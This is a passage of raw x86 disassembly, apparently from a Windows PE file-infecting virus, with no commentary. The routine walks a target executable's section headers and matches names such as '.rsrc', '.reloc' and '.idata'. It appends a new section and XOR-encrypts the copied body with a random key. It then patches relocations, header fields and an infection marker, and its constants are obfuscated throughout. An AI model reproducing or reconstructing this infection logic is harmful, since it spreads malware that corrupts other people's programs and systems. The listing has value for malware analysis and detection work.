		mov	eax, [ebp+var_C54]
		cmp	[ebp+var_31F04], eax
		jbe	short loc_43B900
		mov	eax, [ebp+var_31F04]
		mov	[ebp+var_C54], eax


loc_43B900:				; CODE XREF: sub_43B5D8+31Aj
		mov	eax, [ebp+var_8]
		mov	eax, [eax+0A8h]
		cmp	eax, [esi+0Ch]
		jb	short loc_43B92B
		cmp	eax, [ebp+var_31F00]
		jnb	short loc_43B92B
		mov	eax, [esi+14h]
		mov	edx, [ebp+var_8]
		add	eax, [edx+0A8h]
		sub	eax, [esi+0Ch]
		mov	[ebp+var_105C],	eax


loc_43B92B:				; CODE XREF: sub_43B5D8+334j
					; sub_43B5D8+33Cj
		mov	eax, [ebp+var_430]
		mov	edx, [esi+0Ch]
		cmp	eax, edx
		jb	short loc_43B94B
		add	edx, [esi+8]
		cmp	eax, edx
		jnb	short loc_43B94B
		sub	eax, [esi+0Ch]
		add	eax, [esi+14h]
		mov	[ebp+var_844], eax


loc_43B94B:				; CODE XREF: sub_43B5D8+35Ej
					; sub_43B5D8+365j
		inc	[ebp+var_434]


loc_43B951:				; CODE XREF: sub_43B5D8+2B2j
		mov	eax, [ebp+var_8]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_434], eax
		jb	loc_43B88F
		mov	eax, dword_551090
		add	eax, 0FFCh
		push	eax
		push	[ebp+var_1C]
		call	sub_441CD8
		add	esp, 8
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1184],	0
		jz	short loc_43B98F
		mov	eax, [ebp+var_C54]
		mov	[ebp+var_10], eax


loc_43B98F:				; CODE XREF: sub_43B5D8+3ACj
		mov	eax, [ebp+var_C54]
		cmp	[ebp+var_10], eax
		jz	short loc_43B9B1
		mov	eax, [ebp+var_8]
		movsx	edx, word_551198
		dec	edx
		cmp	[eax+0A8h], edx
		jz	loc_43CADB


loc_43B9B1:				; CODE XREF: sub_43B5D8+3C0j
		mov	eax, dword_55124C
		sub	eax, 9
		cmp	[ebp+var_105C],	eax
		jz	loc_43BA90
		mov	eax, dword_5511AC
		add	eax, dword_5511DC
		sub	eax, 2
		mov	[ebp+var_31F08], eax
		mov	eax, dword_551160
		sub	eax, 7
		mov	[ebp+var_31F00], eax
		jmp	short loc_43BA37
; ---------------------------------------------------------------------------


loc_43B9E9:				; CODE XREF: sub_43B5D8+485j
		mov	eax, [ebp+var_105C]
		mov	[ebp+var_31F0C], eax
		mov	eax, 1Ch
		mul	[ebp+var_31F00]
		mov	[ebp+var_31F10], eax
		mov	eax, [ebp+var_31F0C]
		mov	edx, [ebp+var_31F10]
		add	eax, edx
		add	eax, [ebp+var_4]
		mov	[ebp+var_31F04], eax
		mov	edx, [ebp+var_31F08]
		cmp	[eax+18h], edx
		jbe	short loc_43BA31
		mov	eax, [eax+18h]
		mov	[ebp+var_31F08], eax


loc_43BA31:				; CODE XREF: sub_43B5D8+44Ej
		inc	[ebp+var_31F00]


loc_43BA37:				; CODE XREF: sub_43B5D8+40Fj
		mov	edi, [ebp+var_8]
		mov	eax, [edi+0ACh]
		mov	ecx, 1Ch
		shr	eax, 2
		mov	edx, 24924925h
		mul	edx
		mov	[ebp+var_31F0C], edx
		mov	edi, edx
		cmp	[ebp+var_31F00], edi
		jb	short loc_43B9E9
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_31F08]
		call	sub_441CD8
		add	esp, 8
		mov	[ebp+var_31F08], eax
		mov	eax, [ebp+var_C54]
		cmp	eax, [ebp+var_10]
		jz	short loc_43BA90
		cmp	[ebp+var_31F08], eax
		jnz	loc_43CADB


loc_43BA90:				; CODE XREF: sub_43B5D8+3E7j
					; sub_43B5D8+4AAj
		and	[ebp+var_1078],	0
		mov	eax, dword_551134
		add	eax, dword_5510D4
		sub	eax, 7
		mov	[ebp+var_438], eax
		jmp	loc_43BBE1
; ---------------------------------------------------------------------------


loc_43BAB0:				; CODE XREF: sub_43B5D8+618j
		mov	eax, [ebp+var_844]
		add	eax, [ebp+var_438]
		add	eax, [ebp+var_4]
		mov	[ebp+var_32004], eax
		mov	edx, dword_55112C
		add	edx, dword_551168
		sub	edx, 0Ah
		cmp	[eax], edx
		jz	loc_43BBF6
		mov	eax, [ebp+var_32004]
		mov	eax, [eax+0Ch]
		sub	eax, [ebp+var_430]
		add	eax, [ebp+var_844]
		mov	[ebp+var_32008], eax
		add	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_31FFF]
		push	eax
		call	ds:dword_44B1A4
		add	esp, 8
		mov	eax, dword_551140
		dec	eax
		mov	[ebp+var_31F00], eax
		jmp	short loc_43BB44
; ---------------------------------------------------------------------------


loc_43BB19:				; CODE XREF: sub_43B5D8+58Ej
		mov	eax, [ebp+var_31F00]
		mov	al, [ebp+eax+var_31FFF]
		cmp	al, 61h
		jle	short loc_43BB3E
		cmp	al, 7Ah
		jge	short loc_43BB3E
		mov	eax, [ebp+var_31F00]
		lea	eax, [ebp+eax+var_31FFF]
		sub	byte ptr [eax],	20h


loc_43BB3E:				; CODE XREF: sub_43B5D8+550j
					; sub_43B5D8+554j
		inc	[ebp+var_31F00]


loc_43BB44:				; CODE XREF: sub_43B5D8+53Fj
		mov	eax, [ebp+var_31F00]
		movsx	eax, [ebp+eax+var_31FFF]
		mov	edx, dword_5510BC
		movsx	ecx, word_5510FC
		add	edx, ecx
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_43BB19
		movsx	eax, word_551190
		cmp	byte ptr [ebp+eax+var_32008+2],	45h
		jnz	short loc_43BBDA
		mov	edx, dword_551228
		cmp	byte ptr [ebp+edx+var_32008+3],	52h
		jnz	short loc_43BBDA
		movsx	edx, word_5511A4
		cmp	byte ptr [ebp+edx+var_32008+3],	4Bh
		jnz	short loc_43BBDA
		mov	edx, dword_551184
		cmp	[ebp+edx+var_31FFD], 33h
		jnz	short loc_43BBDA
		mov	edx, dword_5511D8
		add	edx, dword_551200
		cmp	byte ptr [ebp+edx+var_32004+1],	4Ch
		jnz	short loc_43BBDA
		add	eax, dword_551168
		cmp	byte ptr [ebp+eax+var_32004+2],	32h
		jnz	short loc_43BBDA
		mov	[ebp+var_1078],	1


loc_43BBDA:				; CODE XREF: sub_43B5D8+59Fj
					; sub_43B5D8+5AFj ...
		add	[ebp+var_438], 14h


loc_43BBE1:				; CODE XREF: sub_43B5D8+4D3j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+84h]
		cmp	[ebp+var_438], eax
		jb	loc_43BAB0


loc_43BBF6:				; CODE XREF: sub_43B5D8+4FEj
		cmp	[ebp+var_1078],	0
		jz	loc_43CADB
		mov	eax, [ebp+var_8]
		add	eax, 16h
		or	word ptr [eax],	1
		lea	eax, [ebp+var_31ECB]
		mov	[ebp+var_42C], eax
		mov	eax, [eax+3Ch]
		mov	[ebp+var_848], eax
		add	eax, [ebp+var_42C]
		mov	[ebp+var_84C], eax
		cmp	[ebp+var_1184],	0
		jnz	loc_43BD4B
		mov	eax, [ebp+var_8]
		mov	edx, dword_5511C8
		sub	edx, 8
		cmp	[eax+0D0h], edx
		jz	loc_43BD4B
		movsx	edx, word_5510F8
		add	edx, dword_551098
		sub	edx, 0Eh
		cmp	[eax+0D4h], edx
		jz	loc_43BD4B
		mov	edx, [ebp+var_106C]
		cmp	[eax+54h], edx
		jbe	loc_43BD4B
		mov	eax, [ebp+var_840]
		add	eax, 0F8h
		mov	[ebp+var_31F08], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F0C], eax
		mov	eax, [ebp+var_31F08]
		mov	edx, [ebp+var_31F0C]
		add	eax, edx
		mov	[ebp+var_31F00], eax
		mov	[ebp+var_31F10], eax
		mov	eax, 28h
		mov	ecx, dword_5511AC
		add	ecx, dword_5510F0
		sub	ecx, 2
		mul	ecx
		mov	[ebp+var_31F14], eax
		mov	eax, [ebp+var_31F10]
		mov	edx, [ebp+var_31F14]
		add	eax, edx
		mov	[ebp+var_31F04], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+0D4h]
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_31F00]
		add	edx, eax
		push	edx
		mov	edx, [ebp+var_31F04]
		add	edx, eax
		push	edx
		call	ds:dword_4CD814
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		add	eax, 0D0h
		mov	[ebp+var_31F18], eax
		mov	eax, 28h
		mov	ecx, dword_5511C0
		add	ecx, dword_5510C0
		mul	ecx
		mov	[ebp+var_31F1C], eax
		mov	eax, [ebp+var_31F18]
		mov	edx, eax
		mov	ecx, [ebp+var_31F1C]
		add	[edx], ecx


loc_43BD4B:				; CODE XREF: sub_43B5D8+65Dj
					; sub_43B5D8+675j ...
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_10]
		call	sub_441CD8
		mov	[ebp+var_10], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F00], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F00]
		mov	esi, edx
		add	esi, eax
		mov	eax, dword_5511DC
		add	eax, 0Ch
		push	eax
		mov	eax, dword_5510E4
		sub	eax, 5
		push	eax
		mov	eax, esi
		add	eax, 18h
		push	eax
		call	ds:dword_4CD934
		movsx	eax, word_551210
		add	eax, 1FFFBh
		mov	[esi+8], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		mov	eax, [ebp+arg_8]
		add	eax, 0Dh
		push	eax
		call	sub_441CD8
		mov	[esi+10h], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_850], eax
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_1060],	eax
		push	offset byte_552825
		call	sub_43CAF7
		push	eax
		push	esi
		call	ds:dword_44B1A4
		mov	eax, [ebp+var_1C]
		mov	[esi+0Ch], eax
		mov	eax, dword_55114C
		add	eax, 0E000001Eh
		mov	[esi+24h], eax
		mov	eax, [ebp+var_10]
		mov	[esi+14h], eax
		mov	eax, dword_5510EC
		add	eax, 1FFFFh
		add	[ebp+var_1C], eax
		mov	eax, [ebp+var_8]
		mov	edx, [esi+0Ch]
		add	edx, [esi+8]
		mov	[eax+50h], edx
		call	ds:dword_550040
		movsx	edi, word_551128
		movsx	edx, word_551138
		add	edi, edx
		sub	edi, 7
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		add	edi, edx
		mov	[ebp+var_1064],	edi
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		mov	eax, [ebp+var_10]
		add	eax, [esi+10h]
		push	eax
		call	sub_441CD8
		add	esp, 30h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		add	eax, 6
		inc	word ptr [eax]
		call	ds:dword_550040
		mov	edi, [ebp+var_848]
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F08], edx
		mov	[ebp+var_31F04], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F08]
		mov	[ecx+edi], dl
		call	ds:dword_550040
		mov	edx, dword_551200
		movsx	ecx, word_551104
		add	edx, ecx
		sub	edx, 4
		add	edi, edx
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F10], edx
		mov	[ebp+var_31F0C], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F10]
		mov	[ecx+edi], dl
		mov	edi, dword_5511C0
		add	edi, dword_551174
		sub	edi, 7
		mov	edx, [ebp+var_42C]
		mov	ecx, [ebp+arg_8]
		shr	ecx, 9
		mov	[edx+edi], cl
		movsx	eax, word_5510C4
		add	eax, dword_55118C
		sub	eax, 7
		mov	ecx, [ebp+var_1064]
		xor	ecx, 4Dh
		mov	[edx+eax], cl
		mov	eax, dword_5511F8
		add	eax, 3Dh
		add	eax, dword_5510BC
		mov	[ebp+var_43C], eax
		jmp	short loc_43BF5D
; ---------------------------------------------------------------------------


loc_43BF28:				; CODE XREF: sub_43B5D8+991j
		call	ds:dword_550040
		mov	edi, [ebp+var_43C]
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F18], edx
		mov	[ebp+var_31F14], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F18]
		mov	[ecx+edi], dl
		inc	[ebp+var_43C]


loc_43BF5D:				; CODE XREF: sub_43B5D8+94Ej
		mov	eax, [ebp+var_848]
		cmp	[ebp+var_43C], eax
		jb	short loc_43BF28
		cmp	[ebp+var_1184],	0
		jz	short loc_43BFEE
		mov	eax, [ebp+var_850]
		movsx	edx, word_5510D0
		add	edx, dword_5510C0
		add	eax, edx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+eax]
		mov	[ebp+var_31F1C], eax
		mov	eax, [ebp+var_8]
		mov	edx, [eax+34h]
		add	edx, [eax+28h]
		mov	eax, dword_551130
		add	eax, 6
		add	edx, eax
		mov	[ebp+var_31F20], edx
		mov	eax, [ebp+var_31F1C]
		mov	edx, dword_551090
		add	edx, 0FFFFFFF6h
		movsx	ecx, word_551210
		add	edx, ecx
		sub	eax, edx
		add	eax, [ebp+var_31F20]
		mov	edx, dword_5511AC
		add	edx, 2
		add	eax, edx
		mov	[ebp+var_31F24], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_31F24]
		sub	edx, [eax+34h]
		mov	[eax+28h], edx


loc_43BFEE:				; CODE XREF: sub_43B5D8+99Aj
		push	0Dh
		push	offset dword_551290
		lea	eax, [ebp+var_31ED8]
		push	eax
		call	ds:dword_4CD814
		mov	eax, [esi+10h]
		add	eax, 0Dh
		push	eax
		lea	eax, [ebp+var_31ED8]
		push	eax
		mov	eax, [esi+14h]
		add	eax, [ebp+var_4]
		push	eax
		call	ds:dword_4CD814
		add	esp, 18h
		mov	eax, [esi+14h]
		add	eax, 0Dh
		mov	[ebp+var_1068],	eax
		movsx	edx, word_5510C4
		sub	edx, 4
		add	eax, edx
		mov	[ebp+var_424], eax
		jmp	short loc_43C05A
; ---------------------------------------------------------------------------


loc_43C040:				; CODE XREF: sub_43B5D8+A91j
		mov	eax, [ebp+var_424]
		add	eax, [ebp+var_4]
		movzx	edx, byte ptr [eax]
		xor	edx, [ebp+var_1064]
		mov	[eax], dl
		inc	[ebp+var_424]


loc_43C05A:				; CODE XREF: sub_43B5D8+A66j
		mov	eax, [ebp+var_1068]
		add	eax, [ebp+arg_8]
		cmp	[ebp+var_424], eax
		jb	short loc_43C040
		mov	eax, dword_5510B8
		sub	eax, 4
		mov	[ebp+var_18], eax
		mov	eax, dword_5511F4
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		sub	eax, 12h
		mov	[ebp+var_440], eax
		jmp	loc_43C377
; ---------------------------------------------------------------------------


loc_43C08F:				; CODE XREF: sub_43B5D8+DAFj
		mov	eax, 28h
		mul	[ebp+var_440]
		mov	[ebp+var_31F20], eax
		mov	eax, [ebp+var_848]
		mov	edx, [ebp+var_42C]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F20]
		mov	ebx, edx
		add	ebx, eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F24], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F24]
		mov	esi, edx
		add	esi, eax
		movsx	eax, word_5510CC
		cmp	byte ptr [ebx+eax], 72h
		jnz	short loc_43C12B
		mov	eax, dword_5511AC
		movsx	edx, word_55113C
		add	eax, edx
		sub	eax, 0Bh
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_43C12B
		movsx	eax, word_551208
		cmp	byte ptr [eax+ebx+4], 63h
		jnz	short loc_43C12B
		mov	eax, [ebx+14h]
		mov	[ebp+var_107C],	eax
		jmp	loc_43C371
; ---------------------------------------------------------------------------


loc_43C12B:				; CODE XREF: sub_43B5D8+B1Ej
					; sub_43B5D8+B35j ...
		movsx	eax, word_5510F8
		sub	eax, 5
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_43C174
		movsx	eax, word_551244
		add	eax, dword_551168
		sub	eax, 8
		cmp	byte ptr [ebx+eax], 65h
		jnz	short loc_43C174
		mov	eax, dword_5511E4
		inc	eax
		cmp	byte ptr [ebx+eax], 61h
		jnz	short loc_43C174
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_1188],	eax
		mov	eax, [ebx+14h]
		mov	[ebp+var_1080],	eax
		jmp	loc_43C371
; ---------------------------------------------------------------------------


loc_43C174:				; CODE XREF: sub_43B5D8+B61j
					; sub_43B5D8+B77j ...
		movsx	eax, word_551164
		cmp	byte ptr [ebx+eax], 69h
		jnz	short loc_43C1B2
		mov	eax, dword_5511AC
		movsx	edx, word_55113C
		add	eax, edx
		sub	eax, 0Bh
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_43C1B2
		movsx	eax, word_551210
		add	eax, dword_551188
		sub	eax, 5
		cmp	byte ptr [ebx+eax], 61h
		jz	loc_43C371


loc_43C1B2:				; CODE XREF: sub_43B5D8+BA7j
					; sub_43B5D8+BBEj
		mov	eax, dword_5511B4
		sub	eax, 4
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	loc_43C248
		mov	eax, dword_551120
		add	eax, dword_5510F0
		sub	eax, 0Ah
		cmp	byte ptr [ebx+eax], 62h
		jnz	short loc_43C248
		mov	eax, dword_5511E4
		add	eax, dword_55123C
		dec	eax
		cmp	byte ptr [ebx+eax], 73h
		jnz	short loc_43C248
		add	esi, 0FFFFFFD8h
		mov	eax, dword_5511E0
		add	eax, 0E0000018h
		add	eax, dword_5510B8
		mov	[esi+24h], eax
		movsx	eax, word_5510B4
		add	eax, 0FFBh
		push	eax
		push	dword ptr [esi+8]
		call	sub_441CD8
		mov	edi, eax
		add	edi, [ebx+8]
		mov	[esi+8], edi
		mov	eax, dword_5510A0
		add	eax, 0FFBh
		add	eax, dword_551134
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, [ebx+8]
		push	eax
		call	sub_441CD8
		add	esp, 10h
		mov	[ebp+var_1C], eax
		add	esi, 28h
		jmp	loc_43C371
; ---------------------------------------------------------------------------


loc_43C248:				; CODE XREF: sub_43B5D8+BE6j
					; sub_43B5D8+BFEj ...
		mov	eax, [ebp+var_10]
		mov	[esi+14h], eax
		mov	eax, [ebx+8]
		mov	[esi+8], eax
		mov	eax, [ebp+var_1C]
		mov	[esi+0Ch], eax
		mov	eax, [ebx+24h]
		mov	[esi+24h], eax
		push	ebx
		push	esi
		call	ds:dword_44B1A4
		mov	eax, [ebx+10h]
		mov	[esi+10h], eax
		movsx	eax, word_5510D0
		movsx	edx, word_5510CC
		lea	eax, [eax+edx+5]
		push	eax
		mov	eax, dword_5510F0
		sub	eax, 3
		push	eax
		mov	eax, esi
		add	eax, 18h
		push	eax
		call	ds:dword_4CD934
		mov	edi, [ebp+var_18]
		mov	edx, [ebx+0Ch]
		mov	[ebp+edi*4+var_420], edx
		mov	edx, [ebx+8]
		mov	[ebp+edi*4+var_83C], edx
		mov	edx, [esi+0Ch]
		mov	[ebp+edi*4+var_C4C], edx
		mov	edx, [esi+14h]
		mov	[ebp+edi*4+var_1050], edx
		inc	[ebp+var_18]
		mov	eax, [ebx+10h]
		add	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_31F1C], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_10]
		call	sub_441CD8
		add	esp, 1Ch
		mov	[ebp+var_10], eax
		mov	eax, dword_5511AC
		dec	eax
		cmp	byte ptr [ebx+eax], 64h
		jnz	short loc_43C313
		mov	eax, [ebp+var_31F1C]
		cmp	[ebp+var_10], eax
		jbe	short loc_43C313
		mov	ecx, [ebp+var_10]
		sub	ecx, eax
		mov	[ebp+var_31F28], ecx
		mov	eax, ecx
		add	[esi+8], eax
		mov	eax, ecx
		add	[esi+10h], eax


loc_43C313:				; CODE XREF: sub_43B5D8+D19j
					; sub_43B5D8+D24j
		movsx	eax, word_5510FC
		add	eax, 0FFEh
		push	eax
		mov	eax, [esi+0Ch]
		add	eax, [ebx+8]
		push	eax
		call	sub_441CD8
		mov	edi, [ebp+var_8]
		mov	[edi+50h], eax
		mov	eax, dword_551214
		add	eax, 0FFDh
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, [ebx+8]
		push	eax
		call	sub_441CD8
		mov	[ebp+var_1C], eax
		mov	eax, edi
		add	eax, 6
		inc	word ptr [eax]
		push	dword ptr [esi+10h]
		mov	eax, [ebx+14h]
		add	eax, [ebp+var_42C]
		push	eax
		mov	eax, [esi+14h]
		add	eax, [ebp+var_4]
		push	eax
		call	ds:dword_4CD814
		add	esp, 1Ch


loc_43C371:				; CODE XREF: sub_43B5D8+B4Ej
					; sub_43B5D8+B97j ...
		inc	[ebp+var_440]


loc_43C377:				; CODE XREF: sub_43B5D8+AB2j
		mov	eax, [ebp+var_84C]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_440], eax
		jb	loc_43C08F
		mov	eax, [ebp+var_107C]
		add	eax, [ebp+var_42C]
		mov	[ebp+var_14], eax


loc_43C39C:				; CODE XREF: sub_43B5D8+FECj
		mov	eax, dword_5511DC
		movsx	edx, word_5511A8
		add	eax, edx
		mov	[ebp+var_20], eax
		jmp	short loc_43C40B
; ---------------------------------------------------------------------------


loc_43C3AF:				; CODE XREF: sub_43B5D8+E39j
		mov	edi, [ebp+var_20]
		mov	edx, [ebp+var_14]
		mov	edx, [edx]
		cmp	[ebp+edi*4+var_420], edx
		jnz	short loc_43C3CB
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	[ebp+var_C50], eax


loc_43C3CB:				; CODE XREF: sub_43B5D8+DE6j
		mov	edi, [ebp+var_20]
		shl	edi, 2
		mov	edx, [ebp+edi+var_420]
		add	edx, [ebp+edi+var_83C]
		mov	edi, [ebp+var_14]
		cmp	edx, [edi]
		jbe	short loc_43C408
		mov	edi, [ebp+var_20]
		mov	edi, [ebp+edi*4+var_1050]
		mov	[ebp+var_1070],	edi
		mov	edi, [ebp+var_20]
		mov	edi, [ebp+edi*4+var_C4C]
		mov	[ebp+var_1054],	edi
		jmp	short loc_43C413
; ---------------------------------------------------------------------------


loc_43C408:				; CODE XREF: sub_43B5D8+E0Cj
		inc	[ebp+var_20]


loc_43C40B:				; CODE XREF: sub_43B5D8+DD5j
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_20], eax
		jb	short loc_43C3AF


loc_43C413:				; CODE XREF: sub_43B5D8+E2Ej
		mov	eax, dword_551204
		sub	eax, 2
		mov	[ebp+var_428], eax
		jmp	loc_43C58A
; ---------------------------------------------------------------------------


loc_43C426:				; CODE XREF: sub_43B5D8+FBEj
		mov	eax, [ebp+var_428]
		mov	edx, dword_5511B0
		add	edx, dword_551120
		sub	edx, 7
		add	eax, edx
		add	eax, [ebp+var_14]
		mov	[ebp+var_31F20], eax
		mov	ax, [eax]
		mov	word ptr [ebp+var_31F1C], ax
		movzx	eax, word ptr [ebp+var_31F1C]
		mov	edx, dword_5511AC
		sub	edx, 2
		cmp	eax, edx
		jz	loc_43C59C
		movzx	edi, word ptr [ebp+var_31F1C]
		movsx	edx, word_5510D0
		movsx	ecx, word_551148
		lea	ecx, [edx+ecx+5]
		sar	edi, cl
		mov	word ptr [ebp+var_31F24+2], di
		movzx	edi, word ptr [ebp+var_31F1C]
		mov	edx, dword_551168
		movsx	ecx, word_5510F4
		xchg	edx, ecx
		add	ecx, edx
		shl	edi, cl
		mov	word ptr [ebp+var_31F1C+2], di
		movzx	edi, word ptr [ebp+var_31F1C+2]
		mov	ecx, dword_5511E0
		sar	edi, cl
		mov	word ptr [ebp+var_31F1C+2], di
		movzx	eax, word ptr [ebp+var_31F1C+2]
		mov	edx, dword_55111C
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_43C4E9
		mov	eax, dword_5511F4
		sub	eax, 9
		cmp	[ebp+var_428], eax
		jnz	loc_43C59C


loc_43C4E9:				; CODE XREF: sub_43B5D8+EFBj
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1054]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		sub	eax, [ebp+var_C50]
		movzx	edx, word ptr [ebp+var_31F1C+2]
		add	eax, edx
		mov	[ebp+var_31F28], eax
		mov	eax, [ebp+var_84C]
		mov	eax, [eax+34h]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		movzx	edx, word ptr [ebp+var_31F1C+2]
		add	eax, edx
		mov	[ebp+var_31F2C], eax
		mov	ecx, [ebp+var_31F28]
		sub	ecx, eax
		mov	[ebp+var_31F30], ecx
		movzx	eax, word ptr [ebp+var_31F24+2]
		movsx	edx, word_5511E8
		add	edx, dword_551090
		sub	edx, 8
		cmp	eax, edx
		jnz	short loc_43C57C
		mov	eax, [ebp+var_1070]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		sub	eax, [ebp+var_C50]
		movzx	edx, word ptr [ebp+var_31F1C+2]
		add	eax, edx
		add	eax, [ebp+var_4]
		mov	[ebp+var_31F34], eax
		mov	edx, ecx
		add	[eax], edx


loc_43C57C:				; CODE XREF: sub_43B5D8+F7Bj
		mov	eax, dword_55117C
		sub	eax, 5
		add	[ebp+var_428], eax


loc_43C58A:				; CODE XREF: sub_43B5D8+E49j
		mov	eax, [ebp+var_14]
		mov	eax, [eax+4]
		cmp	[ebp+var_428], eax
		jb	loc_43C426


loc_43C59C:				; CODE XREF: sub_43B5D8+E8Aj
					; sub_43B5D8+F0Bj
		mov	eax, [ebp+var_14]
		mov	edx, [eax+4]
		add	edx, eax
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_84C]
		mov	eax, [eax+0A4h]
		mov	edx, [ebp+var_107C]
		add	edx, [ebp+var_42C]
		add	eax, edx
		cmp	[ebp+var_14], eax
		jb	loc_43C39C
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+28h]
		mov	[ebp+var_118C],	ecx
		mov	edx, [ebp+var_1060]
		mov	[eax+28h], edx
		cmp	[ebp+var_1184],	0
		jnz	short loc_43C607
		add	eax, 60h
		mov	edx, [ebp+var_84C]
		mov	edx, [edx+60h]
		add	[eax], edx
		mov	eax, [ebp+var_8]
		add	eax, 68h
		mov	edx, [ebp+var_84C]
		mov	edx, [edx+68h]
		add	[eax], edx


loc_43C607:				; CODE XREF: sub_43B5D8+100Ej
		mov	eax, [ebp+var_8]
		movsx	edx, word_551240
		movsx	ecx, word_551128
		add	edx, ecx
		sub	edx, 7
		mov	[eax+46h], dx
		mov	edx, dword_5511FC
		add	edx, 5
		add	edx, dword_5511F8
		mov	[eax+1Ah], dl
		mov	edx, dword_5510E0
		add	edx, 7
		mov	[eax+44h], dx
		mov	eax, [ebp+var_1080]
		add	eax, [ebp+var_42C]
		mov	[ebp+var_31EE8], eax
		mov	eax, [ebp+var_1080]
		mov	edx, [ebp+var_31EE8]
		add	eax, [edx+1Ch]
		sub	eax, [ebp+var_1188]
		mov	[ebp+var_31EEC], eax
		add	eax, [ebp+var_42C]
		mov	[ebp+var_31EF0], eax
		mov	eax, [eax]
		mov	[ebp+var_1058],	eax
		mov	eax, dword_5511B4
		movsx	edx, word_55113C
		add	eax, edx
		sub	eax, 0Dh
		mov	[ebp+var_24], eax
		jmp	short loc_43C6D8
; ---------------------------------------------------------------------------


loc_43C697:				; CODE XREF: sub_43B5D8+1106j
		mov	edi, [ebp+var_24]
		shl	edi, 2
		mov	edx, [ebp+edi+var_420]
		add	edx, [ebp+edi+var_83C]
		cmp	edx, [ebp+var_1058]
		jbe	short loc_43C6D5
		mov	edi, [ebp+var_24]
		mov	edi, [ebp+edi*4+var_420]
		mov	[ebp+var_1194],	edi
		mov	edi, [ebp+var_24]
		mov	edi, [ebp+edi*4+var_C4C]
		mov	[ebp+var_1198],	edi
		jmp	short loc_43C6E0
; ---------------------------------------------------------------------------


loc_43C6D5:				; CODE XREF: sub_43B5D8+10D9j
		inc	[ebp+var_24]


loc_43C6D8:				; CODE XREF: sub_43B5D8+10BDj
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_24], eax
		jb	short loc_43C697


loc_43C6E0:				; CODE XREF: sub_43B5D8+10FBj
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1198]
		add	eax, [ebp+var_1058]
		sub	eax, [ebp+var_1194]
		mov	[ebp+var_1190],	eax
		mov	eax, [ebp+var_84C]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1058]
		mov	[ebp+var_1058],	eax
		mov	eax, [ebp+var_850]
		mov	[ebp+var_C], eax
		jmp	loc_43C9AC
; ---------------------------------------------------------------------------


loc_43C721:				; CODE XREF: sub_43B5D8+13E0j
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	ecx, dword_5510B8
		add	ecx, dword_551150
		sub	ecx, 7
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		mov	edi, dword_5510A0
		sub	edi, 3
		cmp	ecx, edi
		jnz	loc_43C858
		mov	ecx, dword_5510A0
		dec	ecx
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		mov	edi, dword_551204
		sub	edi, 2
		cmp	ecx, edi
		jnz	loc_43C858
		movzx	ecx, byte ptr [edx+eax]
		mov	edi, dword_551114
		add	edi, 0E4h
		add	edi, dword_5511E4
		cmp	ecx, edi
